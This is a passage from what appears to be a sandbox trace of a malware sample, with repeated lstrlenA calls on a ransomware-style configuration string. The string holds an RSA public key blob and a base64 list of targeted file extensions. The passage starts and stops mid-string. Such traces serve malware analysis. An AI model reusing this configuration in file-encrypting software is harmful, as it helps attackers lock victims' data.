LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmE